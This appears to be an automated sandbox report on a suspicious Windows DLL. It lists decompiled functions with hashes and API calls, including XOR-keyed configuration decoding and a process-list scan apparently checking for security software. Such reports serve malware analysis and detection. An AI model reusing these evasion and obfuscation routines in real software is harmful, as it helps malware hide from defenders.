Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: 2de5630d6af3125db1532bb7e353e99919c344c84d3bbc29daba6fdc933b126a
Instruction ID: 2957fa73ec8ad791381309cb2bcfac2a1ef98603ef3db4a6a61d7703cc74f2c7
Opcode Fuzzy Hash: 2de5630d6af3125db1532bb7e353e99919c344c84d3bbc29daba6fdc933b126a
Instruction Fuzzy Hash: 4CF05436600509FAEB11D799DC01EEF7AFDEFC5760F250059A504E3141EA70DF419672

Uniqueness

Uniqueness Score: -1.00%

Function 00814ECA, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t4;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t14;

				_t14 = 1;
				_t4 = _a8;
				if(_t4 == 0) {
					if(InterlockedDecrement(0x81d23c) == 0) {
						E00811B42();
					}
				} else {
					if(_t4 == 1 && InterlockedIncrement(0x81d23c) == 1) {
						_t10 = E008112E5(_t11, _t12, _a4); // executed
						if(_t10 != 0) {
							_t14 = 0;
						}
					}
				}
				return _t14;
			}

0x00814ed1
0x00814ed2
0x00814ed5
0x00814f07
0x00814f09
0x00814f09
0x00814ed7
0x00814ed8
0x00814eed
0x00814ef4
0x00814ef6
0x00814ef6
0x00814ef4
0x00814ed8
0x00814f11

APIs

InterlockedIncrement.KERNEL32(0081D23C), ref: 00814EDF

Part of subcall function 008112E5: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,00814EF2,?), ref: 008112F8

InterlockedDecrement.KERNEL32(0081D23C), ref: 00814EFF

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interlocked$CreateDecrementHeapIncrement
String ID:
API String ID: 3834848776-0
Opcode ID: 5522d71daf9eba26958be0367232d6395a0f7cfb7d2e777d02fc2fa82a89ed41
Instruction ID: 342f212f7fad01192fecdf6abc18b440c89b9ef1b9299262326e34b6f3956f79
Opcode Fuzzy Hash: 5522d71daf9eba26958be0367232d6395a0f7cfb7d2e777d02fc2fa82a89ed41
Instruction Fuzzy Hash: 38E08632348235A3D7215FB89D08BDAA64FFF94BA0F019414F591D3251DA20CCC29296

Uniqueness

Uniqueness Score: -1.00%

Function 008148F1, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E008148F1(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				char _v20;
				intOrPtr _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t23;

				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x81d2a8; // 0x45fa5a8
				_t4 = _t15 + 0x81e39c; // 0x4e18944
				_t20 = _t4;
				_t6 = _t15 + 0x81e124; // 0x650047
				_t17 = E0081219B(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					_t23 = 8;
					if(_v20 != _t23) {
						_t23 = 1;
					} else {
						_t19 = E00812298(_t20, _v12);
						if(_t19 != 0) {
							 *_a16 = _t19;
							_t23 = 0;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x008148fb
0x00814902
0x00814903
0x00814904
0x00814905
0x0081490b
0x00814910
0x00814910
0x0081491a
0x0081492c
0x00814933
0x00814961
0x00814935
0x00814937
0x0081493c
0x0081495e
0x0081493e
0x00814941
0x00814948
0x0081494d
0x0081494f
0x0081494f
0x00814954
0x00814954
0x0081493c
0x00814968

APIs

Part of subcall function 0081219B: SysFreeString.OLEAUT32(?), ref: 0081227A

Part of subcall function 00812298: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,008184CA,004F0053,00000000,?), ref: 008122A1
Part of subcall function 00812298: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,008184CA,004F0053,00000000,?), ref: 008122CB
Part of subcall function 00812298: memset.NTDLL ref: 008122DF

SysFreeString.OLEAUT32(00000000), ref: 00814954

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: 5f3257cfb2e345c38508072943fdf935d83b130cae5a1aadefc93d3b120084e5
Instruction ID: 52b8fd274b107a140e90447bfdbdec99a05c9f9f48098fca2c014cadcbd0326b
Opcode Fuzzy Hash: 5f3257cfb2e345c38508072943fdf935d83b130cae5a1aadefc93d3b120084e5
Instruction Fuzzy Hash: AD015A72500119BFDB11ABA8DC059EFBBBCFF48750F004165EA15E7171E370A9618791

Uniqueness

Uniqueness Score: -1.00%

Function 6D4CCBB1, Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,?,6D4C6C97,?), ref: 6D4CCBC6

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b65c2172b04f28720f903181272021b8fda548f24eb6873ff7bd8fc22fd32911
Instruction ID: 00cf2ed169e5bcc1e7b84712b9860469f46835220bf01c14d6fe97f51599cfc4
Opcode Fuzzy Hash: b65c2172b04f28720f903181272021b8fda548f24eb6873ff7bd8fc22fd32911
Instruction Fuzzy Hash: BAD0A7766943555EDF005EB1AC09F763BFCD386796F144435B90DC6580F775C950CA00

Uniqueness

Uniqueness Score: -1.00%

Function 0081A71F, Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0081A71F(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x81d238, 0, _a4); // executed
				return _t2;
			}

0x0081a72b
0x0081a731

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,00815595), ref: 0081A72B

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 778c5da429af4f8e126a313799c40cba0698334e87d99edd76ac8826ba904c67
Instruction ID: 5c0011143d463a5d0de387d4c53f74b137216b868ec623495a01e70ce884c28a
Opcode Fuzzy Hash: 778c5da429af4f8e126a313799c40cba0698334e87d99edd76ac8826ba904c67
Instruction Fuzzy Hash: E4B01232040200FBCA014B00DD08F45BB25BF58700F01C110B20444070C37154B0EB04

Uniqueness

Uniqueness Score: -1.00%

Function 6D4CAC71, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

__encode_pointer.LIBCMT ref: 6D4CAC73

Part of subcall function 6D4CABFF: RtlEncodePointer.NTDLL(00000000,?,6D4CAC78,00000000,6D4D5A67,6D58A270,00000000,00000314,?,6D4CD0DA,6D58A270,6D4EE438,00012010), ref: 6D4CAC66

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: EncodePointer__encode_pointer
String ID:
API String ID: 4150071819-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 0ce14700389ef23558f280d854e16a604a313bbc2c82e51efa49fcf74ab7ef71
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00815356, Relevance: 1.3, APIs: 1, Instructions: 43
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00815356(intOrPtr* __edi, void* _a4, intOrPtr _a8, unsigned int _a12) {
				void* _t21;
				void* _t22;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = __edi;
				if(_a4 == 0) {
					L2:
					_t27 = E00818BC1(_a4, 0x80000002, _a8, _a12,  &_a4,  &_a12);
					if(_t27 == 0) {
						_t24 = _a12 >> 1;
						if(_t24 == 0) {
							_t27 = 2;
							HeapFree( *0x81d238, 0, _a4);
						} else {
							_t21 = _a4;
							 *((short*)(_t21 + _t24 * 2 - 2)) = 0;
							 *_t26 = _t21;
						}
					}
					L6:
					return _t27;
				}
				_t22 = E008148F1(_a4, _a8, _a12, __edi); // executed
				_t27 = _t22;
				if(_t27 == 0) {
					goto L6;
				}
				goto L2;
			}

0x00815356
0x0081535e
0x00815375
0x00815390
0x00815394
0x00815399
0x0081539b
0x008153ad
0x008153b9
0x0081539d
0x0081539d
0x008153a2
0x008153a7
0x008153a7
0x0081539b
0x008153bf
0x008153c3
0x008153c3
0x0081536a
0x0081536f
0x00815373
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 008148F1: SysFreeString.OLEAUT32(00000000), ref: 00814954

HeapFree.KERNEL32(00000000,00000000,00000000,80000002,73BCF710,?,00000000,?,00000000,?,00818D51,?,004F0053,04E19368,00000000,?), ref: 008153B9

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Free$HeapString
String ID:
API String ID: 3806048269-0
Opcode ID: e6f870e18efe3bc7491eeb7eaa8b1d0ddaf66e2330df7acf3cb3156e714cf199
Instruction ID: 0871f57ea4e8caaea8caf0c0c6c6a27b0610d8effae6c45ec31ab47f5d23467c
Opcode Fuzzy Hash: e6f870e18efe3bc7491eeb7eaa8b1d0ddaf66e2330df7acf3cb3156e714cf199
Instruction Fuzzy Hash: 48012832501A19FBCB229F58CC01EEA7B69FF48790F048428FE25DB220D771D9A0DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00811AE2, Relevance: 1.3, APIs: 1, Instructions: 36
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00811AE2(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _t15;
				intOrPtr* _t21;

				_t21 = __edi;
				_push( &_v12);
				_push(__edi);
				_v8 = 0x1d4c0;
				_t15 =  *((intOrPtr*)( *__edi + 0xe0))();
				while(1) {
					_v16 = _t15;
					Sleep(0x1f4); // executed
					if(_v12 == 4) {
						break;
					}
					if(_v8 == 0) {
						L4:
						_t15 =  *((intOrPtr*)( *_t21 + 0xe0))(_t21,  &_v12);
						continue;
					} else {
						if(_v8 <= 0x1f4) {
							_v16 = 0x80004004;
						} else {
							_v8 = _v8 - 0x1f4;
							goto L4;
						}
					}
					L8:
					return _v16;
				}
				goto L8;
			}

0x00811ae2
0x00811aef
0x00811af0
0x00811af1
0x00811af8
0x00811b26
0x00811b27
0x00811b2a
0x00811b30
0x00000000
0x00000000
0x00811b0f
0x00811b19
0x00811b20
0x00000000
0x00811b11
0x00811b14
0x00811b34
0x00811b16
0x00811b16
0x00000000
0x00811b16
0x00811b14
0x00811b3b
0x00811b41
0x00811b41
0x00000000

APIs

Sleep.KERNELBASE(000001F4), ref: 00811B2A

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 8a62274451aad5671ce19502909b0fb48edc2bd7d915cf893cba48104c0b3c98
Instruction ID: f120c7335aebf2a41a0fc738ef27d6ff9ca97d3dc7a905857c8a99dd7f8d61bc
Opcode Fuzzy Hash: 8a62274451aad5671ce19502909b0fb48edc2bd7d915cf893cba48104c0b3c98
Instruction Fuzzy Hash: F4F0C975D15218EBDF00DB94D588AEDB7BCFF04715F1080AAE606A3140E7746B84DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00815D7D, Relevance: 1.3, APIs: 1, Instructions: 26
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00815D7D(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, WCHAR* _a20) {
				void* _t17;

				if(_a4 == 0) {
					L2:
					return E00816002(_a8, 1, _a12, _a16, _a20, lstrlenW(_a20) + _t14 + 2);
				}
				_t17 = E00816207(_a4, _a8, _a12, _a16, _a20); // executed
				if(_t17 != 0) {
					goto L2;
				}
				return _t17;
			}

0x00815d85
0x00815d9f
0x00000000
0x00815dbb
0x00815d96
0x00815d9d
0x00000000
0x00000000
0x00815dc2

APIs

lstrlenW.KERNEL32(?,?,?,00818708,3D0081C0,80000002,00813741,0081A513,74666F53,4D4C4B48,0081A513,?,3D0081C0,80000002,00813741,?), ref: 00815DA2

Part of subcall function 00816207: SysAllocString.OLEAUT32(0081A513), ref: 00816220
Part of subcall function 00816207: SysFreeString.OLEAUT32(00000000), ref: 00816261

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFreelstrlen
String ID:
API String ID: 3808004451-0
Opcode ID: e820ee77704b6e3952a0299ba57fc1dcf0c04a9aead8dd23c91877fdcbdb802d
Instruction ID: a460802e15b99ea4afe1c4fe469ba39bec0928147270a9f700f896e8e7862a5e
Opcode Fuzzy Hash: e820ee77704b6e3952a0299ba57fc1dcf0c04a9aead8dd23c91877fdcbdb802d
Instruction Fuzzy Hash: 5DF01F7200060AFBDF165F94EC06EEA3B6AFF18390F048025BA1494061D772D9B1EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00814A09, Relevance: 1.3, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00814A09(void* __edi, void* _a4) {
				int _t7;
				int _t12;

				_t7 = E00811526(__edi, _a4,  &_a4); // executed
				_t12 = _t7;
				if(_t12 != 0) {
					memcpy(__edi, _a4, _t12);
					 *((char*)(__edi + _t12)) = 0;
					E0081A734(_a4);
				}
				return _t12;
			}

0x00814a15
0x00814a1a
0x00814a1e
0x00814a25
0x00814a30
0x00814a34
0x00814a34
0x00814a3d

APIs

Part of subcall function 00811526: memcpy.NTDLL(00000000,00000090,00000002,00000002,00815289,00000008,00815289,00815289,?,0081A3FE,00815289), ref: 0081155C
Part of subcall function 00811526: memset.NTDLL ref: 008115D1
Part of subcall function 00811526: memset.NTDLL ref: 008115E5

memcpy.NTDLL(00000002,00815289,00000000,00000002,00815289,00815289,00815289,?,0081A3FE,00815289,?,00815289,00000002,?,?,00815D5E), ref: 00814A25

Part of subcall function 0081A734: HeapFree.KERNEL32(00000000,00000000,00815637,00000000,?,?,00000000), ref: 0081A740

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpymemset$FreeHeap
String ID:
API String ID: 3053036209-0
Opcode ID: e6817b10372af5116933f012d7fa3afbfc5e6b6b9757d7c95a37c68b0d13499d
Instruction ID: 1d24799baba76610efe2a83f3c551f9fd9db6e1ced89567149620e39d879cf52
Opcode Fuzzy Hash: e6817b10372af5116933f012d7fa3afbfc5e6b6b9757d7c95a37c68b0d13499d
Instruction Fuzzy Hash: 14E0863B40112877CB126A98DC01DEF7F5CEF51791F004010FE48C5101E631C69097E2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0081888E, Relevance: 10.7, APIs: 7, Instructions: 237
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E0081888E(int* __ecx) {
				int _v8;
				void* _v12;
				void* _v16;
				void* __esi;
				signed int _t26;
				signed int _t31;
				signed int _t37;
				char* _t43;
				char* _t44;
				char* _t45;
				char* _t46;
				char* _t47;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t51;
				void* _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				signed int _t58;
				intOrPtr _t61;
				signed int _t62;
				signed int _t67;
				void* _t69;
				void* _t70;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				signed int _t84;
				signed int _t88;
				signed int _t92;
				void* _t97;
				intOrPtr _t114;

				_t98 = __ecx;
				_t26 =  *0x81d2a4; // 0x63699bc3
				if(E00817145( &_v8,  &_v12, _t26 ^ 0x8241c5a7) != 0 && _v12 >= 0x90) {
					 *0x81d2d8 = _v8;
				}
				_t31 =  *0x81d2a4; // 0x63699bc3
				if(E00817145( &_v16,  &_v12, _t31 ^ 0x0b822240) == 0) {
					_v12 = 2;
					L62:
					return _v12;
				}
				_t37 =  *0x81d2a4; // 0x63699bc3
				if(E00817145( &_v12,  &_v8, _t37 ^ 0xecd84622) == 0) {
					L60:
					HeapFree( *0x81d238, 0, _v16);
					goto L62;
				} else {
					_t97 = _v12;
					if(_t97 == 0) {
						_t43 = 0;
					} else {
						_t92 =  *0x81d2a4; // 0x63699bc3
						_t43 = E00816B2E(_t98, _t97, _t92 ^ 0x724e87bc);
					}
					if(_t43 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t43, 0,  &_v8) != 0) {
							 *0x81d240 = _v8;
						}
					}
					if(_t97 == 0) {
						_t44 = 0;
					} else {
						_t88 =  *0x81d2a4; // 0x63699bc3
						_t44 = E00816B2E(_t98, _t97, _t88 ^ 0x2b40cc40);
					}
					if(_t44 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t44, 0,  &_v8) != 0) {
							 *0x81d244 = _v8;
						}
					}
					if(_t97 == 0) {
						_t45 = 0;
					} else {
						_t84 =  *0x81d2a4; // 0x63699bc3
						_t45 = E00816B2E(_t98, _t97, _t84 ^ 0x3b27c2e6);
					}
					if(_t45 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t45, 0,  &_v8) != 0) {
							 *0x81d248 = _v8;
						}
					}
					if(_t97 == 0) {
						_t46 = 0;
					} else {
						_t80 =  *0x81d2a4; // 0x63699bc3
						_t46 = E00816B2E(_t98, _t97, _t80 ^ 0x0602e249);
					}
					if(_t46 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t46, 0,  &_v8) != 0) {
							 *0x81d004 = _v8;
						}
					}
					if(_t97 == 0) {
						_t47 = 0;
					} else {
						_t76 =  *0x81d2a4; // 0x63699bc3
						_t47 = E00816B2E(_t98, _t97, _t76 ^ 0x3603764c);
					}
					if(_t47 != 0) {
						_t98 =  &_v8;
						if(StrToIntExA(_t47, 0,  &_v8) != 0) {
							 *0x81d02c = _v8;
						}
					}
					if(_t97 == 0) {
						_t48 = 0;
					} else {
						_t72 =  *0x81d2a4; // 0x63699bc3
						_t48 = E00816B2E(_t98, _t97, _t72 ^ 0x2cc1f2fd);
					}
					if(_t48 != 0) {
						_push(_t48);
						_t69 = 0x10;
						_t70 = E008156FA(_t69);
						if(_t70 != 0) {
							_push(_t70);
							E00816702();
						}
					}
					if(_t97 == 0) {
						_t49 = 0;
					} else {
						_t67 =  *0x81d2a4; // 0x63699bc3
						_t49 = E00816B2E(_t98, _t97, _t67 ^ 0xb30fc035);
					}
					if(_t49 != 0 && E008156FA(0, _t49) != 0) {
						_t114 =  *0x81d32c; // 0x4e195b0
						E008123F4(_t114 + 4, _t65);
					}
					if(_t97 == 0) {
						_t50 = 0;
					} else {
						_t62 =  *0x81d2a4; // 0x63699bc3
						_t50 = E00816B2E(_t98, _t97, _t62 ^ 0x372ab5b7);
					}
					if(_t50 == 0) {
						L52:
						_t51 =  *0x81d2a8; // 0x45fa5a8
						_t20 = _t51 + 0x81e252; // 0x616d692f
						 *0x81d2d4 = _t20;
						goto L53;
					} else {
						_t61 = E008156FA(0, _t50);
						 *0x81d2d4 = _t61;
						if(_t61 != 0) {
							L53:
							if(_t97 == 0) {
								_t53 = 0;
							} else {
								_t58 =  *0x81d2a4; // 0x63699bc3
								_t53 = E00816B2E(_t98, _t97, _t58 ^ 0xd8dc5cde);
							}
							if(_t53 == 0) {
								_t54 =  *0x81d2a8; // 0x45fa5a8
								_t21 = _t54 + 0x81e791; // 0x6976612e
								_t55 = _t21;
							} else {
								_t55 = E008156FA(0, _t53);
							}
							 *0x81d340 = _t55;
							HeapFree( *0x81d238, 0, _t97);
							_v12 = 0;
							goto L60;
						}
						goto L52;
					}
				}
			}

0x0081888e
0x00818891
0x008188b1
0x008188bf
0x008188bf
0x008188c4
0x008188de
0x00818b0d
0x00818b14
0x00818b1b
0x00818b1b
0x008188e4
0x00818900
0x00818afb
0x00818b05
0x00000000
0x00818906
0x00818906
0x0081890b
0x00818921
0x0081890d
0x0081890d
0x0081891a
0x0081891a
0x0081892b
0x0081892d
0x00818937
0x0081893c
0x0081893c
0x00818937
0x00818943
0x00818959
0x00818945
0x00818945
0x00818952
0x00818952
0x0081895d
0x0081895f
0x00818969
0x0081896e
0x0081896e
0x00818969
0x00818975
0x0081898b
0x00818977
0x00818977
0x00818984
0x00818984
0x0081898f
0x00818991
0x0081899b
0x008189a0
0x008189a0
0x0081899b
0x008189a7
0x008189bd
0x008189a9
0x008189a9
0x008189b6
0x008189b6
0x008189c1
0x008189c3
0x008189cd
0x008189d2
0x008189d2
0x008189cd
0x008189d9
0x008189ef
0x008189db
0x008189db
0x008189e8
0x008189e8
0x008189f3
0x008189f5
0x008189ff
0x00818a04
0x00818a04
0x008189ff
0x00818a0b
0x00818a21
0x00818a0d
0x00818a0d
0x00818a1a
0x00818a1a
0x00818a25
0x00818a27
0x00818a2a
0x00818a2b
0x00818a32
0x00818a34
0x00818a35
0x00818a35
0x00818a32
0x00818a3c
0x00818a52
0x00818a3e
0x00818a3e
0x00818a4b
0x00818a4b
0x00818a56
0x00818a64
0x00818a6e
0x00818a6e
0x00818a75
0x00818a8b
0x00818a77
0x00818a77
0x00818a84
0x00818a84
0x00818a8f
0x00818aa2
0x00818aa2
0x00818aa7
0x00818aad
0x00000000
0x00818a91
0x00818a94
0x00818a99
0x00818aa0
0x00818ab2
0x00818ab4
0x00818aca
0x00818ab6
0x00818ab6
0x00818ac3
0x00818ac3
0x00818ace
0x00818ada
0x00818adf
0x00818adf
0x00818ad0
0x00818ad3
0x00818ad3
0x00818aed
0x00818af2
0x00818af8
0x00000000
0x00818af8
0x00000000
0x00818aa0
0x00818a8f

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,00815D25,?,63699BC3,?,00815D25,63699BC3,?,00815D25,63699BC3,00000005,0081D00C,00000008), ref: 00818933
StrToIntExA.SHLWAPI(00000000,00000000,?,00815D25,?,63699BC3,?,00815D25,63699BC3,?,00815D25,63699BC3,00000005,0081D00C,00000008), ref: 00818965
StrToIntExA.SHLWAPI(00000000,00000000,?,00815D25,?,63699BC3,?,00815D25,63699BC3,?,00815D25,63699BC3,00000005,0081D00C,00000008), ref: 00818997
StrToIntExA.SHLWAPI(00000000,00000000,?,00815D25,?,63699BC3,?,00815D25,63699BC3,?,00815D25,63699BC3,00000005,0081D00C,00000008), ref: 008189C9
StrToIntExA.SHLWAPI(00000000,00000000,?,00815D25,?,63699BC3,?,00815D25,63699BC3,?,00815D25,63699BC3,00000005,0081D00C,00000008), ref: 008189FB
HeapFree.KERNEL32(00000000,00815D25,00815D25,?,63699BC3,?,00815D25,63699BC3,?,00815D25,63699BC3,00000005,0081D00C,00000008,?,00815D25), ref: 00818AF2
HeapFree.KERNEL32(00000000,?,00815D25,?,63699BC3,?,00815D25,63699BC3,?,00815D25,63699BC3,00000005,0081D00C,00000008,?,00815D25), ref: 00818B05

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: f4731284d88a326bc17929dedbb5f5bbbc25249f45491aef0b30c3abc3fe9288
Instruction ID: d5d2f597ea8de7986e60d97d4905c50f1e8e564dd81fd7b56b3d37e7200603e3
Opcode Fuzzy Hash: f4731284d88a326bc17929dedbb5f5bbbc25249f45491aef0b30c3abc3fe9288
Instruction Fuzzy Hash: A0717071A00615EFC710EBB9DD86EEFBBEDFF483007244926A406D7115EA71E9C18B62

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C4FB4, Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6D4CBEF3
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6D4CBF08
UnhandledExceptionFilter.KERNEL32(6D4EDEAC), ref: 6D4CBF13
GetCurrentProcess.KERNEL32(C0000409), ref: 6D4CBF2F
TerminateProcess.KERNEL32(00000000), ref: 6D4CBF36

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 9ff6d9b1147879a150299d8127f04f2442a3992e4ad5701a4cbb51b5c8852e48
Instruction ID: 8ae6a6210d6f05afa26681d4a95920c724a5c2227384450179d3dac76b9f194d
Opcode Fuzzy Hash: 9ff6d9b1147879a150299d8127f04f2442a3992e4ad5701a4cbb51b5c8852e48
Instruction Fuzzy Hash: D121FEB94243249FDF41EF28D488B943FB4BB4B306F12601AE50997B50E7B19A81CF46

Uniqueness

Uniqueness Score: -1.00%

Function 0081A65C, Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0081A65C() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x81d2a8; // 0x45fa5a8
						_t2 = _t9 + 0x81ee34; // 0x73617661
						_push( &_v264);
						if( *0x81d0fc() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x0081a667
0x0081a671
0x0081a675
0x0081a67f
0x0081a6b0
0x0081a686
0x0081a68b
0x0081a698
0x0081a6a1
0x0081a6b8
0x0081a6a3
0x0081a6ab
0x00000000
0x0081a6ab
0x0081a6b9
0x0081a6ba
0x00000000
0x0081a6ba
0x00000000
0x0081a6b4
0x0081a6c0
0x0081a6c5

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0081A66C
Process32First.KERNEL32(00000000,?), ref: 0081A67F
Process32Next.KERNEL32(00000000,?), ref: 0081A6AB
CloseHandle.KERNEL32(00000000), ref: 0081A6BA

Memory Dump Source

